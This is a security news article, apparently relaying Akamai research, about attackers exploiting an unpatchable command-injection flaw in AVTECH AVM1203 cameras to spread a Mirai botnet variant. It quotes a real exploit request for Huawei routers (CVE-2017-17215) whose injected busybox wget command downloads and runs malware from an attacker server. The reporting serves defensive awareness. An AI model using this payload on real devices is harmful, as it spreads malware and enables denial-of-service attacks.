Unpatchable 0-day in surveillance cam is being exploited to install Mirai

Malicious hackers are exploiting a critical vulnerability in a widely used security camera to spread Mirai, a family of malware that wrangles infected Internet of Things devices into large networks for use in attacks that take down websites and other Internet-connected devices.

The attacks target the AVM1203, a surveillance device from Taiwan-based manufacturer AVTECH, network security provider Akamai said Wednesday. Unknown attackers have been exploiting a 5-year-old vulnerability since March. The zero-day vulnerability, tracked as CVE-2024-7029, is easy to exploit and allows attackers to execute malicious code. The AVM1203 is no longer sold or supported, so no update is available to fix the critical zero-day.

That time a ragtag army shook the Internet

Akamai said that the attackers are exploiting the vulnerability so they can install a variant of Mirai, which arrived in September 2016 when a botnet of infected devices took down cybersecurity news site Krebs on Security. Mirai contained functionality that allowed a ragtag army of compromised webcams, routers, and other types of IoT devices to wage distributed denial-of-service attacks of record-setting sizes. In the weeks that followed, the Mirai botnet delivered similar attacks on Internet service providers and other targets. One such attack, against dynamic domain name provider Dyn paralyzed vast swaths of the Internet.
Complicating attempts to contain Mirai, its creators released the malware to the public, a move that allowed virtually anyone to create their own botnets that delivered DDoSes of once-unimaginable size.

Kyle Lefton, a security researcher with Akamai’s Security Intelligence and Response Team, said in an email that it has observed the threat actor behind the attacks perform DDoS attacks against “various organizations,” which he didn’t name or describe further. So far, the team hasn’t seen any indication the threat actors are monitoring video feeds or using the infected cameras for other purposes.

Akamai detected the activity using a “honeypot” of devices that mimic the cameras on the open Internet to observe any attacks that target them. The technique doesn’t allow the researchers to measure the botnet’s size. The US Cybersecurity and Infrastructure Security Agency warned of the vulnerability earlier this month.

The technique, however, has allowed Akamai to capture the code used to compromise the devices. It targets a vulnerability that has been known since at least 2019 when exploit code became public. The zero-day resides in the “brightness argument in the ‘action=’ parameter” and allows for command injection, researchers wrote. The zero-day, discovered by Akamai researcher Aline Eliovich, wasn’t formally recognized until this month, with the publishing of CVE-2024-7029.

Wednesday’s post went on to say:

How does it work?

This vulnerability was originally discovered by examining our honeypot logs. Figure 1 shows the decoded URL for clarity.
Decoded payload

Fig. 1: Decoded payload body of the exploit attempts

The vulnerability lies in the brightness function within the file /cgi-bin/supervisor/Factory.cgi (Figure 2).

What could happen?

In the exploit examples we observed, essentially what happened is this: The exploit of this vulnerability allows an attacker to execute remote code on a target system.

Figure 3 is an example of a threat actor exploiting this flaw to download and run a JavaScript file to fetch and load their main malware payload. Similar to many other botnets, this one is also spreading a variant of Mirai malware to its targets.

In this instance, the botnet is likely using the Corona Mirai variant, which has been referenced by other vendors as early as 2020 in relation to the COVID-19 virus.

Upon execution, the malware connects to a large number of hosts through Telnet on ports 23, 2323, and 37215. It also prints the string “Corona” to the console on an infected host (Figure 4).

Static analysis of the strings in the malware samples shows targeting of the path /ctrlt/DeviceUpgrade_1 in an attempt to exploit Huawei devices affected by CVE-2017-17215. The samples have two hard-coded command and control IP addresses, one of which is part of the CVE-2017-17215 exploit code (Figure 5).

POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
  Content-Length: 430
  Connection: keep-alive
  Accept: */*
  Authorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"

  $(/bin/busybox wget -g 45.14.244[.]89 -l /tmp/mips -r /mips; /bin/busybox chmod 777 * /tmp/mips; /tmp/mips huawei.rep)$(echo HUAWEIUPNP)

Fig. 5: CVE-2017-17215 /ctrlt/DeviceUpgrade_1 exploit code

The botnet also targeted several other vulnerabilities including a Hadoop YARN RCE, CVE-2014-8361, and CVE-2017-17215. We have observed these vulnerabilities exploited in the wild several times, and they continue to be successful.

Given that this camera model is no longer supported, the best course of action for anyone using one is to replace it. As with all Internet-connected devices, IoT devices should never be accessible using the default credentials that shipped with them.